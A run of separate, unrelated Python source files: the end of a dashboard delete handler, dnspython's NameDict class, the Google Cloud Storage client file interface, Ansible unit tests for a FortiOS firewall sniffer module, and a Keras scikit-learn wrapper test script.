        files = self.request.get_all(PARAM_FILE)
        if not files:
            logging.warning("No dashboard file to delete.")
            self.response.set_status(400)
            return

        for file in files:
            DashboardFile.delete_file(file)

        # Display dashboard file list after deleting the file.
        self.redirect("/dashboards/")

# Copyright (C) 2003-2007, 2009, 2010 Nominum, Inc.
#
# Permission to use, copy, modify, and distribute this software and its
# documentation for any purpose with or without fee is hereby granted,
# provided that the above copyright notice and this permission notice
# appear in all copies.
#
# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES
# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR
# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT
# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.

"""DNS name dictionary"""

import dns.name

class NameDict(dict):

    """A dictionary whose keys are dns.name.Name objects.
    @ivar max_depth: the maximum depth of the keys that have ever been
    added to the dictionary.
    @type max_depth: int
    """

    def __init__(self, *args, **kwargs):
        super(NameDict, self).__init__(*args, **kwargs)
        self.max_depth = 0

    def __setitem__(self, key, value):
        if not isinstance(key, dns.name.Name):
            raise ValueError('NameDict key must be a name')
        depth = len(key)
        if depth > self.max_depth:
            self.max_depth = depth
        super(NameDict, self).__setitem__(key, value)

    def get_deepest_match(self, name):
        """Find the deepest match to I{name} in the dictionary.

        The deepest match is the longest name in the dictionary which is
        a superdomain of I{name}.

        @param name: the name
        @type name: dns.name.Name object
        @rtype: (key, value) tuple
        """

        depth = len(name)
        if depth > self.max_depth:
            depth = self.max_depth
        for i in xrange(-depth, 0):
            n = dns.name.Name(name[i:])
            if self.has_key(n):
                return (n, self[n])
        v = self[dns.name.empty]
        return (dns.name.empty, v)

# Copyright 2012 Google Inc. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#    http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,
# software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND,
# either express or implied. See the License for the specific
# language governing permissions and limitations under the License.

"""File Interface for Google Cloud Storage."""



from __future__ import with_statement



__all__ = ['delete',
           'listbucket',
           'open',
           'stat',
          ]

import logging
import StringIO
import urllib
import xml.etree.cElementTree as ET
from cloudstorage import storage_api, common, errors, api_utils


def open(filename,
         mode='r',
         content_type=None,
         options=None,
         read_buffer_size=storage_api.ReadBuffer.DEFAULT_BUFFER_SIZE,
         retry_params=None,
         _account_id=None):
  """Opens a Google Cloud Storage file and returns it as a File-like object.

  Args:
    filename: A Google Cloud Storage filename of form '/bucket/filename'.
    mode: 'r' for reading mode. 'w' for writing mode.
      In reading mode, the file must exist. In writing mode, a file will
      be created or be overrode.
    content_type: The MIME type of the file. str. Only valid in writing mode.
    options: A str->basestring dict to specify additional headers to pass to
      GCS e.g. {'x-goog-acl': 'private', 'x-goog-meta-foo': 'foo'}.
      Supported options are x-goog-acl, x-goog-meta-, cache-control,
      content-disposition, and content-encoding.
      Only valid in writing mode.
      See https://developers.google.com/storage/docs/reference-headers
      for details.
    read_buffer_size: The buffer size for read. Read keeps a buffer
      and prefetches another one. To minimize blocking for large files,
      always read by buffer size. To minimize number of RPC requests for
      small files, set a large buffer size. Max is 30MB.
    retry_params: An instance of api_utils.RetryParams for subsequent calls
      to GCS from this file handle. If None, the default one is used.
    _account_id: Internal-use only.

  Returns:
    A reading or writing buffer that supports File-like interface. Buffer
    must be closed after operations are done.

  Raises:
    errors.AuthorizationError: if authorization failed.
    errors.NotFoundError: if an object that's expected to exist doesn't.
    ValueError: invalid open mode or if content_type or options are specified
      in reading mode.
  """
  common.validate_file_path(filename)
  api = storage_api._get_storage_api(retry_params=retry_params,
                                     account_id=_account_id)
  filename = api_utils._quote_filename(filename)

  if mode == 'w':
    common.validate_options(options)
    return storage_api.StreamingBuffer(api, filename, content_type, options)
  elif mode == 'r':
    if content_type or options:
      raise ValueError('Options and content_type can only be specified '
                       'for writing mode.')
    return storage_api.ReadBuffer(api,
                                  filename,
                                  buffer_size=read_buffer_size)
  else:
    raise ValueError('Invalid mode %s.' % mode)


def delete(filename, retry_params=None, _account_id=None):
  """Delete a Google Cloud Storage file.

  Args:
    filename: A Google Cloud Storage filename of form '/bucket/filename'.
    retry_params: An api_utils.RetryParams for this call to GCS. If None,
      the default one is used.
    _account_id: Internal-use only.

  Raises:
    errors.NotFoundError: if the file doesn't exist prior to deletion.
  """
  api = storage_api._get_storage_api(retry_params=retry_params,
                                     account_id=_account_id)
  common.validate_file_path(filename)
  filename = api_utils._quote_filename(filename)
  status, resp_headers, content = api.delete_object(filename)
  errors.check_status(status, [204], filename, resp_headers=resp_headers,
                      body=content)


def stat(filename, retry_params=None, _account_id=None):
  """Get GCSFileStat of a Google Cloud storage file.

  Args:
    filename: A Google Cloud Storage filename of form '/bucket/filename'.
    retry_params: An api_utils.RetryParams for this call to GCS. If None,
      the default one is used.
    _account_id: Internal-use only.

  Returns:
    a GCSFileStat object containing info about this file.

  Raises:
    errors.AuthorizationError: if authorization failed.
    errors.NotFoundError: if an object that's expected to exist doesn't.
  """
  common.validate_file_path(filename)
  api = storage_api._get_storage_api(retry_params=retry_params,
                                     account_id=_account_id)
  status, headers, content = api.head_object(
      api_utils._quote_filename(filename))
  errors.check_status(status, [200], filename, resp_headers=headers,
                      body=content)
  file_stat = common.GCSFileStat(
      filename=filename,
      st_size=common.get_stored_content_length(headers),
      st_ctime=common.http_time_to_posix(headers.get('last-modified')),
      etag=headers.get('etag'),
      content_type=headers.get('content-type'),
      metadata=common.get_metadata(headers))

  return file_stat


def _copy2(src, dst, metadata=None, retry_params=None):
  """Copy the file content from src to dst.

  Internal use only!

  Args:
    src: /bucket/filename
    dst: /bucket/filename
    metadata: a dict of metadata for this copy. If None, old metadata is copied.
      For example, {'x-goog-meta-foo': 'bar'}.
    retry_params: An api_utils.RetryParams for this call to GCS. If None,
      the default one is used.

  Raises:
    errors.AuthorizationError: if authorization failed.
    errors.NotFoundError: if an object that's expected to exist doesn't.
  """
  common.validate_file_path(src)
  common.validate_file_path(dst)

  if metadata is None:
    metadata = {}
    copy_meta = 'COPY'
  else:
    copy_meta = 'REPLACE'
  metadata.update({'x-goog-copy-source': src,
                   'x-goog-metadata-directive': copy_meta})

  api = storage_api._get_storage_api(retry_params=retry_params)
  status, resp_headers, content = api.put_object(
      api_utils._quote_filename(dst), headers=metadata)
  errors.check_status(status, [200], src, metadata, resp_headers, body=content)


def listbucket(path_prefix, marker=None, prefix=None, max_keys=None,
               delimiter=None, retry_params=None, _account_id=None):
  """Returns a GCSFileStat iterator over a bucket.

  Optional arguments can limit the result to a subset of files under bucket.

  This function has two modes:
  1. List bucket mode: Lists all files in the bucket without any concept of
     hierarchy. GCS doesn't have real directory hierarchies.
  2. Directory emulation mode: If you specify the 'delimiter' argument,
     it is used as a path separator to emulate a hierarchy of directories.
     In this mode, the "path_prefix" argument should end in the delimiter
     specified (thus designates a logical directory). The logical directory's
     contents, both files and subdirectories, are listed. The names of
     subdirectories returned will end with the delimiter. So listbucket
     can be called with the subdirectory name to list the subdirectory's
     contents.

  Args:
    path_prefix: A Google Cloud Storage path of format "/bucket" or
      "/bucket/prefix". Only objects whose fullpath starts with the
      path_prefix will be returned.
    marker: Another path prefix. Only objects whose fullpath starts
      lexicographically after marker will be returned (exclusive).
    prefix: Deprecated. Use path_prefix.
    max_keys: The limit on the number of objects to return. int.
      For best performance, specify max_keys only if you know how many objects
      you want. Otherwise, this method requests large batches and handles
      pagination for you.
    delimiter: Use to turn on directory mode. str of one or multiple chars
      that your bucket uses as its directory separator.
    retry_params: An api_utils.RetryParams for this call to GCS. If None,
      the default one is used.
    _account_id: Internal-use only.

  Examples:
    For files "/bucket/a",
              "/bucket/bar/1"
              "/bucket/foo",
              "/bucket/foo/1", "/bucket/foo/2/1", "/bucket/foo/3/1",

    Regular mode:
    listbucket("/bucket/f", marker="/bucket/foo/1")
    will match "/bucket/foo/2/1", "/bucket/foo/3/1".

    Directory mode:
    listbucket("/bucket/", delimiter="/")
    will match "/bucket/a, "/bucket/bar/" "/bucket/foo", "/bucket/foo/".
    listbucket("/bucket/foo/", delimiter="/")
    will match "/bucket/foo/1", "/bucket/foo/2/", "/bucket/foo/3/"

  Returns:
    Regular mode:
    A GCSFileStat iterator over matched files ordered by filename.
    The iterator returns GCSFileStat objects. filename, etag, st_size,
    st_ctime, and is_dir are set.

    Directory emulation mode:
    A GCSFileStat iterator over matched files and directories ordered by
    name. The iterator returns GCSFileStat objects. For directories,
    only the filename and is_dir fields are set.

    The last name yielded can be used as next call's marker.
  """
  if prefix:
    common.validate_bucket_path(path_prefix)
    bucket = path_prefix
  else:
    bucket, prefix = common._process_path_prefix(path_prefix)

  if marker and marker.startswith(bucket):
    marker = marker[len(bucket) + 1:]

  api = storage_api._get_storage_api(retry_params=retry_params,
                                     account_id=_account_id)
  options = {}
  if marker:
    options['marker'] = marker
  if max_keys:
    options['max-keys'] = max_keys
  if prefix:
    options['prefix'] = prefix
  if delimiter:
    options['delimiter'] = delimiter

  return _Bucket(api, bucket, options)


class _Bucket(object):
  """A wrapper for a GCS bucket as the return value of listbucket."""

  def __init__(self, api, path, options):
    """Initialize.

    Args:
      api: storage_api instance.
      path: bucket path of form '/bucket'.
      options: a dict of listbucket options. Please see listbucket doc.
    """
    self._init(api, path, options)

  def _init(self, api, path, options):
    self._api = api
    self._path = path
    self._options = options.copy()
    self._get_bucket_fut = self._api.get_bucket_async(
        self._path + '?' + urllib.urlencode(self._options))
    self._last_yield = None
    self._new_max_keys = self._options.get('max-keys')

  def __getstate__(self):
    options = self._options
    if self._last_yield:
      options['marker'] = self._last_yield.filename[len(self._path) + 1:]
    if self._new_max_keys is not None:
      options['max-keys'] = self._new_max_keys
    return {'api': self._api,
            'path': self._path,
            'options': options}

  def __setstate__(self, state):
    self._init(state['api'], state['path'], state['options'])

  def __iter__(self):
    """Iter over the bucket.

    Yields:
      GCSFileStat: a GCSFileStat for an object in the bucket.
        They are ordered by GCSFileStat.filename.
    """
    total = 0
    max_keys = self._options.get('max-keys')

    while self._get_bucket_fut:
      status, resp_headers, content = self._get_bucket_fut.get_result()
      errors.check_status(status, [200], self._path, resp_headers=resp_headers,
                          body=content, extras=self._options)

      if self._should_get_another_batch(content):
        self._get_bucket_fut = self._api.get_bucket_async(
            self._path + '?' + urllib.urlencode(self._options))
      else:
        self._get_bucket_fut = None

      root = ET.fromstring(content)
      dirs = self._next_dir_gen(root)
      files = self._next_file_gen(root)
      next_file = files.next()
      next_dir = dirs.next()

      while ((max_keys is None or total < max_keys) and
             not (next_file is None and next_dir is None)):
        total += 1
        if next_file is None:
          self._last_yield = next_dir
          next_dir = dirs.next()
        elif next_dir is None:
          self._last_yield = next_file
          next_file = files.next()
        elif next_dir < next_file:
          self._last_yield = next_dir
          next_dir = dirs.next()
        elif next_file < next_dir:
          self._last_yield = next_file
          next_file = files.next()
        else:
          logging.error(
              'Should never reach. next file is %r. next dir is %r.',
              next_file, next_dir)
        if self._new_max_keys:
          self._new_max_keys -= 1
        yield self._last_yield

  def _next_file_gen(self, root):
    """Generator for next file element in the document.

    Args:
      root: root element of the XML tree.

    Yields:
      GCSFileStat for the next file.
    """
    for e in root.getiterator(common._T_CONTENTS):
      st_ctime, size, etag, key = None, None, None, None
      for child in e.getiterator('*'):
        if child.tag == common._T_LAST_MODIFIED:
          st_ctime = common.dt_str_to_posix(child.text)
        elif child.tag == common._T_ETAG:
          etag = child.text
        elif child.tag == common._T_SIZE:
          size = child.text
        elif child.tag == common._T_KEY:
          key = child.text
      yield common.GCSFileStat(self._path + '/' + key,
                               size, etag, st_ctime)
      e.clear()
    yield None

  def _next_dir_gen(self, root):
    """Generator for next directory element in the document.

    Args:
      root: root element in the XML tree.

    Yields:
      GCSFileStat for the next directory.
    """
    for e in root.getiterator(common._T_COMMON_PREFIXES):
      yield common.GCSFileStat(
          self._path + '/' + e.find(common._T_PREFIX).text,
          st_size=None, etag=None, st_ctime=None, is_dir=True)
      e.clear()
    yield None

  def _should_get_another_batch(self, content):
    """Whether to issue another GET bucket call.

    Args:
      content: response XML.

    Returns:
      True if should, also update self._options for the next request.
      False otherwise.
    """
    if ('max-keys' in self._options and
        self._options['max-keys'] <= common._MAX_GET_BUCKET_RESULT):
      return False

    elements = self._find_elements(
        content, set([common._T_IS_TRUNCATED,
                      common._T_NEXT_MARKER]))
    if elements.get(common._T_IS_TRUNCATED, 'false').lower() != 'true':
      return False

    next_marker = elements.get(common._T_NEXT_MARKER)
    if next_marker is None:
      self._options.pop('marker', None)
      return False
    self._options['marker'] = next_marker
    return True

  def _find_elements(self, result, elements):
    """Find interesting elements from XML.

    This function tries to only look for specified elements
    without parsing the entire XML. The specified elements is better
    located near the beginning.

    Args:
      result: response XML.
      elements: a set of interesting element tags.

    Returns:
      A dict from element tag to element value.
    """
    element_mapping = {}
    result = StringIO.StringIO(result)
    for _, e in ET.iterparse(result, events=('end',)):
      if not elements:
        break
      if e.tag in elements:
        element_mapping[e.tag] = e.text
        elements.remove(e.tag)
    return element_mapping

# Copyright 2019 Fortinet, Inc.
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <https://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import os
import json
import pytest
from mock import ANY
from ansible.module_utils.network.fortios.fortios import FortiOSHandler

try:
    from ansible.modules.network.fortios import fortios_firewall_sniffer
except ImportError:
    pytest.skip("Could not load required modules for testing", allow_module_level=True)


@pytest.fixture(autouse=True)
def connection_mock(mocker):
    connection_class_mock = mocker.patch('ansible.modules.network.fortios.fortios_firewall_sniffer.Connection')
    return connection_class_mock


fos_instance = FortiOSHandler(connection_mock)


def test_firewall_sniffer_creation(mocker):
    schema_method_mock = mocker.patch('ansible.module_utils.network.fortios.fortios.FortiOSHandler.schema')

    set_method_result = {'status': 'success', 'http_method': 'POST', 'http_status': 200}
    set_method_mock = mocker.patch('ansible.module_utils.network.fortios.fortios.FortiOSHandler.set', return_value=set_method_result)

    input_data = {
        'username': 'admin',
        'state': 'present',
        'firewall_sniffer': {'application_list': 'test_value_3',
                             'application_list_status': 'enable',
                             'av_profile': 'test_value_5',
                             'av_profile_status': 'enable',
                             'dlp_sensor': 'test_value_7',
                             'dlp_sensor_status': 'enable',
                             'dsri': 'enable',
                             'host': 'myhostname10',
                             'id': '11',
                             'interface': 'test_value_12',
                             'ips_dos_status': 'enable',
                             'ips_sensor': 'test_value_14',
                             'ips_sensor_status': 'enable',
                             'ipv6': 'enable',
                             'logtraffic': 'all',
                             'max_packet_count': '18',
                             'non_ip': 'enable',
                             'port': 'test_value_20',
                             'protocol': 'test_value_21',
                             'scan_botnet_connections': 'disable',
                             'spamfilter_profile': 'test_value_23',
                             'spamfilter_profile_status': 'enable',
                             'status': 'enable',
                             'vlan': 'test_value_26',
                             'webfilter_profile': 'test_value_27',
                             'webfilter_profile_status': 'enable'
                             },
        'vdom': 'root'}

    is_error, changed, response = fortios_firewall_sniffer.fortios_firewall(input_data, fos_instance)

    expected_data = {'application-list': 'test_value_3',
                     'application-list-status': 'enable',
                     'av-profile': 'test_value_5',
                     'av-profile-status': 'enable',
                     'dlp-sensor': 'test_value_7',
                     'dlp-sensor-status': 'enable',
                     'dsri': 'enable',
                     'host': 'myhostname10',
                     'id': '11',
                     'interface': 'test_value_12',
                     'ips-dos-status': 'enable',
                     'ips-sensor': 'test_value_14',
                     'ips-sensor-status': 'enable',
                     'ipv6': 'enable',
                     'logtraffic': 'all',
                     'max-packet-count': '18',
                     'non-ip': 'enable',
                     'port': 'test_value_20',
                     'protocol': 'test_value_21',
                     'scan-botnet-connections': 'disable',
                     'spamfilter-profile': 'test_value_23',
                     'spamfilter-profile-status': 'enable',
                     'status': 'enable',
                     'vlan': 'test_value_26',
                     'webfilter-profile': 'test_value_27',
                     'webfilter-profile-status': 'enable'
                     }

    set_method_mock.assert_called_with('firewall', 'sniffer', data=expected_data, vdom='root')
    schema_method_mock.assert_not_called()
    assert not is_error
    assert changed
    assert response['status'] == 'success'
    assert response['http_status'] == 200


def test_firewall_sniffer_creation_fails(mocker):
    schema_method_mock = mocker.patch('ansible.module_utils.network.fortios.fortios.FortiOSHandler.schema')

    set_method_result = {'status': 'error', 'http_method': 'POST', 'http_status': 500}
    set_method_mock = mocker.patch('ansible.module_utils.network.fortios.fortios.FortiOSHandler.set', return_value=set_method_result)

    input_data = {
        'username': 'admin',
        'state': 'present',
        'firewall_sniffer': {'application_list': 'test_value_3',
                             'application_list_status': 'enable',
                             'av_profile': 'test_value_5',
                             'av_profile_status': 'enable',
                             'dlp_sensor': 'test_value_7',
                             'dlp_sensor_status': 'enable',
                             'dsri': 'enable',
                             'host': 'myhostname10',
                             'id': '11',
                             'interface': 'test_value_12',
                             'ips_dos_status': 'enable',
                             'ips_sensor': 'test_value_14',
                             'ips_sensor_status': 'enable',
                             'ipv6': 'enable',
                             'logtraffic': 'all',
                             'max_packet_count': '18',
                             'non_ip': 'enable',
                             'port': 'test_value_20',
                             'protocol': 'test_value_21',
                             'scan_botnet_connections': 'disable',
                             'spamfilter_profile': 'test_value_23',
                             'spamfilter_profile_status': 'enable',
                             'status': 'enable',
                             'vlan': 'test_value_26',
                             'webfilter_profile': 'test_value_27',
                             'webfilter_profile_status': 'enable'
                             },
        'vdom': 'root'}

    is_error, changed, response = fortios_firewall_sniffer.fortios_firewall(input_data, fos_instance)

    expected_data = {'application-list': 'test_value_3',
                     'application-list-status': 'enable',
                     'av-profile': 'test_value_5',
                     'av-profile-status': 'enable',
                     'dlp-sensor': 'test_value_7',
                     'dlp-sensor-status': 'enable',
                     'dsri': 'enable',
                     'host': 'myhostname10',
                     'id': '11',
                     'interface': 'test_value_12',
                     'ips-dos-status': 'enable',
                     'ips-sensor': 'test_value_14',
                     'ips-sensor-status': 'enable',
                     'ipv6': 'enable',
                     'logtraffic': 'all',
                     'max-packet-count': '18',
                     'non-ip': 'enable',
                     'port': 'test_value_20',
                     'protocol': 'test_value_21',
                     'scan-botnet-connections': 'disable',
                     'spamfilter-profile': 'test_value_23',
                     'spamfilter-profile-status': 'enable',
                     'status': 'enable',
                     'vlan': 'test_value_26',
                     'webfilter-profile': 'test_value_27',
                     'webfilter-profile-status': 'enable'
                     }

    set_method_mock.assert_called_with('firewall', 'sniffer', data=expected_data, vdom='root')
    schema_method_mock.assert_not_called()
    assert is_error
    assert not changed
    assert response['status'] == 'error'
    assert response['http_status'] == 500


def test_firewall_sniffer_removal(mocker):
    schema_method_mock = mocker.patch('ansible.module_utils.network.fortios.fortios.FortiOSHandler.schema')

    delete_method_result = {'status': 'success', 'http_method': 'POST', 'http_status': 200}
    delete_method_mock = mocker.patch('ansible.module_utils.network.fortios.fortios.FortiOSHandler.delete', return_value=delete_method_result)

    input_data = {
        'username': 'admin',
        'state': 'absent',
        'firewall_sniffer': {'application_list': 'test_value_3',
                             'application_list_status': 'enable',
                             'av_profile': 'test_value_5',
                             'av_profile_status': 'enable',
                             'dlp_sensor': 'test_value_7',
                             'dlp_sensor_status': 'enable',
                             'dsri': 'enable',
                             'host': 'myhostname10',
                             'id': '11',
                             'interface': 'test_value_12',
                             'ips_dos_status': 'enable',
                             'ips_sensor': 'test_value_14',
                             'ips_sensor_status': 'enable',
                             'ipv6': 'enable',
                             'logtraffic': 'all',
                             'max_packet_count': '18',
                             'non_ip': 'enable',
                             'port': 'test_value_20',
                             'protocol': 'test_value_21',
                             'scan_botnet_connections': 'disable',
                             'spamfilter_profile': 'test_value_23',
                             'spamfilter_profile_status': 'enable',
                             'status': 'enable',
                             'vlan': 'test_value_26',
                             'webfilter_profile': 'test_value_27',
                             'webfilter_profile_status': 'enable'
                             },
        'vdom': 'root'}

    is_error, changed, response = fortios_firewall_sniffer.fortios_firewall(input_data, fos_instance)

    delete_method_mock.assert_called_with('firewall', 'sniffer', mkey=ANY, vdom='root')
    schema_method_mock.assert_not_called()
    assert not is_error
    assert changed
    assert response['status'] == 'success'
    assert response['http_status'] == 200


def test_firewall_sniffer_deletion_fails(mocker):
    schema_method_mock = mocker.patch('ansible.module_utils.network.fortios.fortios.FortiOSHandler.schema')

    delete_method_result = {'status': 'error', 'http_method': 'POST', 'http_status': 500}
    delete_method_mock = mocker.patch('ansible.module_utils.network.fortios.fortios.FortiOSHandler.delete', return_value=delete_method_result)

    input_data = {
        'username': 'admin',
        'state': 'absent',
        'firewall_sniffer': {'application_list': 'test_value_3',
                             'application_list_status': 'enable',
                             'av_profile': 'test_value_5',
                             'av_profile_status': 'enable',
                             'dlp_sensor': 'test_value_7',
                             'dlp_sensor_status': 'enable',
                             'dsri': 'enable',
                             'host': 'myhostname10',
                             'id': '11',
                             'interface': 'test_value_12',
                             'ips_dos_status': 'enable',
                             'ips_sensor': 'test_value_14',
                             'ips_sensor_status': 'enable',
                             'ipv6': 'enable',
                             'logtraffic': 'all',
                             'max_packet_count': '18',
                             'non_ip': 'enable',
                             'port': 'test_value_20',
                             'protocol': 'test_value_21',
                             'scan_botnet_connections': 'disable',
                             'spamfilter_profile': 'test_value_23',
                             'spamfilter_profile_status': 'enable',
                             'status': 'enable',
                             'vlan': 'test_value_26',
                             'webfilter_profile': 'test_value_27',
                             'webfilter_profile_status': 'enable'
                             },
        'vdom': 'root'}

    is_error, changed, response = fortios_firewall_sniffer.fortios_firewall(input_data, fos_instance)

    delete_method_mock.assert_called_with('firewall', 'sniffer', mkey=ANY, vdom='root')
    schema_method_mock.assert_not_called()
    assert is_error
    assert not changed
    assert response['status'] == 'error'
    assert response['http_status'] == 500


def test_firewall_sniffer_idempotent(mocker):
    schema_method_mock = mocker.patch('ansible.module_utils.network.fortios.fortios.FortiOSHandler.schema')

    set_method_result = {'status': 'error', 'http_method': 'DELETE', 'http_status': 404}
    set_method_mock = mocker.patch('ansible.module_utils.network.fortios.fortios.FortiOSHandler.set', return_value=set_method_result)

    input_data = {
        'username': 'admin',
        'state': 'present',
        'firewall_sniffer': {'application_list': 'test_value_3',
                             'application_list_status': 'enable',
                             'av_profile': 'test_value_5',
                             'av_profile_status': 'enable',
                             'dlp_sensor': 'test_value_7',
                             'dlp_sensor_status': 'enable',
                             'dsri': 'enable',
                             'host': 'myhostname10',
                             'id': '11',
                             'interface': 'test_value_12',
                             'ips_dos_status': 'enable',
                             'ips_sensor': 'test_value_14',
                             'ips_sensor_status': 'enable',
                             'ipv6': 'enable',
                             'logtraffic': 'all',
                             'max_packet_count': '18',
                             'non_ip': 'enable',
                             'port': 'test_value_20',
                             'protocol': 'test_value_21',
                             'scan_botnet_connections': 'disable',
                             'spamfilter_profile': 'test_value_23',
                             'spamfilter_profile_status': 'enable',
                             'status': 'enable',
                             'vlan': 'test_value_26',
                             'webfilter_profile': 'test_value_27',
                             'webfilter_profile_status': 'enable'
                             },
        'vdom': 'root'}

    is_error, changed, response = fortios_firewall_sniffer.fortios_firewall(input_data, fos_instance)

    expected_data = {'application-list': 'test_value_3',
                     'application-list-status': 'enable',
                     'av-profile': 'test_value_5',
                     'av-profile-status': 'enable',
                     'dlp-sensor': 'test_value_7',
                     'dlp-sensor-status': 'enable',
                     'dsri': 'enable',
                     'host': 'myhostname10',
                     'id': '11',
                     'interface': 'test_value_12',
                     'ips-dos-status': 'enable',
                     'ips-sensor': 'test_value_14',
                     'ips-sensor-status': 'enable',
                     'ipv6': 'enable',
                     'logtraffic': 'all',
                     'max-packet-count': '18',
                     'non-ip': 'enable',
                     'port': 'test_value_20',
                     'protocol': 'test_value_21',
                     'scan-botnet-connections': 'disable',
                     'spamfilter-profile': 'test_value_23',
                     'spamfilter-profile-status': 'enable',
                     'status': 'enable',
                     'vlan': 'test_value_26',
                     'webfilter-profile': 'test_value_27',
                     'webfilter-profile-status': 'enable'
                     }

    set_method_mock.assert_called_with('firewall', 'sniffer', data=expected_data, vdom='root')
    schema_method_mock.assert_not_called()
    assert not is_error
    assert not changed
    assert response['status'] == 'error'
    assert response['http_status'] == 404


def test_firewall_sniffer_filter_foreign_attributes(mocker):
    schema_method_mock = mocker.patch('ansible.module_utils.network.fortios.fortios.FortiOSHandler.schema')

    set_method_result = {'status': 'success', 'http_method': 'POST', 'http_status': 200}
    set_method_mock = mocker.patch('ansible.module_utils.network.fortios.fortios.FortiOSHandler.set', return_value=set_method_result)

    input_data = {
        'username': 'admin',
        'state': 'present',
        'firewall_sniffer': {
            'random_attribute_not_valid': 'tag', 'application_list': 'test_value_3',
            'application_list_status': 'enable',
            'av_profile': 'test_value_5',
            'av_profile_status': 'enable',
            'dlp_sensor': 'test_value_7',
            'dlp_sensor_status': 'enable',
            'dsri': 'enable',
            'host': 'myhostname10',
            'id': '11',
            'interface': 'test_value_12',
            'ips_dos_status': 'enable',
            'ips_sensor': 'test_value_14',
            'ips_sensor_status': 'enable',
            'ipv6': 'enable',
            'logtraffic': 'all',
            'max_packet_count': '18',
            'non_ip': 'enable',
            'port': 'test_value_20',
            'protocol': 'test_value_21',
            'scan_botnet_connections': 'disable',
            'spamfilter_profile': 'test_value_23',
            'spamfilter_profile_status': 'enable',
            'status': 'enable',
            'vlan': 'test_value_26',
            'webfilter_profile': 'test_value_27',
            'webfilter_profile_status': 'enable'
        },
        'vdom': 'root'}

    is_error, changed, response = fortios_firewall_sniffer.fortios_firewall(input_data, fos_instance)

    expected_data = {'application-list': 'test_value_3',
                     'application-list-status': 'enable',
                     'av-profile': 'test_value_5',
                     'av-profile-status': 'enable',
                     'dlp-sensor': 'test_value_7',
                     'dlp-sensor-status': 'enable',
                     'dsri': 'enable',
                     'host': 'myhostname10',
                     'id': '11',
                     'interface': 'test_value_12',
                     'ips-dos-status': 'enable',
                     'ips-sensor': 'test_value_14',
                     'ips-sensor-status': 'enable',
                     'ipv6': 'enable',
                     'logtraffic': 'all',
                     'max-packet-count': '18',
                     'non-ip': 'enable',
                     'port': 'test_value_20',
                     'protocol': 'test_value_21',
                     'scan-botnet-connections': 'disable',
                     'spamfilter-profile': 'test_value_23',
                     'spamfilter-profile-status': 'enable',
                     'status': 'enable',
                     'vlan': 'test_value_26',
                     'webfilter-profile': 'test_value_27',
                     'webfilter-profile-status': 'enable'
                     }

    set_method_mock.assert_called_with('firewall', 'sniffer', data=expected_data, vdom='root')
    schema_method_mock.assert_not_called()
    assert not is_error
    assert changed
    assert response['status'] == 'success'
    assert response['http_status'] == 200

from __future__ import absolute_import
from __future__ import print_function
from keras.datasets import mnist
from keras.models import Sequential
from keras.layers.core import Dense, Activation
from keras.utils import np_utils
from keras.wrappers.scikit_learn import *
import numpy as np

batch_size = 128
nb_epoch = 1

nb_classes = 10
max_train_samples = 5000
max_test_samples = 1000

np.random.seed(1337) # for reproducibility

############################################
# scikit-learn classification wrapper test #
############################################
print('Beginning scikit-learn classification wrapper test')

print('Loading data')
(X_train, y_train), (X_test, y_test) = mnist.load_data()

X_train = X_train.reshape(60000, 784)[:max_train_samples]
X_test = X_test.reshape(10000, 784)[:max_test_samples]
X_train = X_train.astype('float32')
X_test = X_test.astype('float32')
X_train /= 255
X_test /= 255

Y_train = np_utils.to_categorical(y_train, nb_classes)[:max_train_samples]
Y_test = np_utils.to_categorical(y_test, nb_classes)[:max_test_samples]

print('Defining model')
model = Sequential()
model.add(Dense(784, 50))
model.add(Activation('relu'))
model.add(Dense(50, 10))
model.add(Activation('softmax'))

print('Creating wrapper')
classifier = KerasClassifier(model, train_batch_size=batch_size, nb_epoch=nb_epoch)

print('Fitting model')
classifier.fit(X_train, Y_train)

print('Testing score function')
score = classifier.score(X_train, Y_train)
print('Score: ', score)

print('Testing predict function')
preds = classifier.predict(X_test)
print('Preds.shape: ', preds.shape)

print('Testing predict proba function')
proba = classifier.predict_proba(X_test)
print('Proba.shape: ', proba.shape)

print('Testing get params')
print(classifier.get_params())

print('Testing set params')
classifier.set_params(optimizer='sgd', loss='binary_crossentropy')
print(classifier.get_params())

print('Testing attributes')
print('Classes')
print(classifier.classes_)
print('Config')
print(classifier.config_)
print('Weights')
print(classifier.weights_)
print('Compiled model')
print(classifier.compiled_model_)

########################################
# scikit-learn regression wrapper test #
########################################
print('Beginning scikit-learn regression wrapper test')

print('Generating data')
X_train = np.random.random((5000, 100))
X_test = np.random.random((1000, 100))
y_train = np.random.random(5000)
y_test = np.random.random(1000)

print('Defining model')
model = Sequential()
model.add(Dense(100, 50))
model.add(Activation('relu'))
model.add(Dense(50, 1))
model.add(Activation('linear'))

print('Creating wrapper')
regressor = KerasRegressor(model, train_batch_size=batch_size, nb_epoch=nb_epoch)

print('Fitting model')
regressor.fit(X_train, y_train)

print('Testing score function')
score = regressor.score(X_train, y_train)
print('Score: ', score)

print('Testing predict function')
preds = regressor.predict(X_test)
print('Preds.shape: ', preds.shape)

print('Testing get params')
print(regressor.get_params())

print('Testing set params')
regressor.set_params(optimizer='sgd', loss='mean_absolute_error')
print(regressor.get_params())

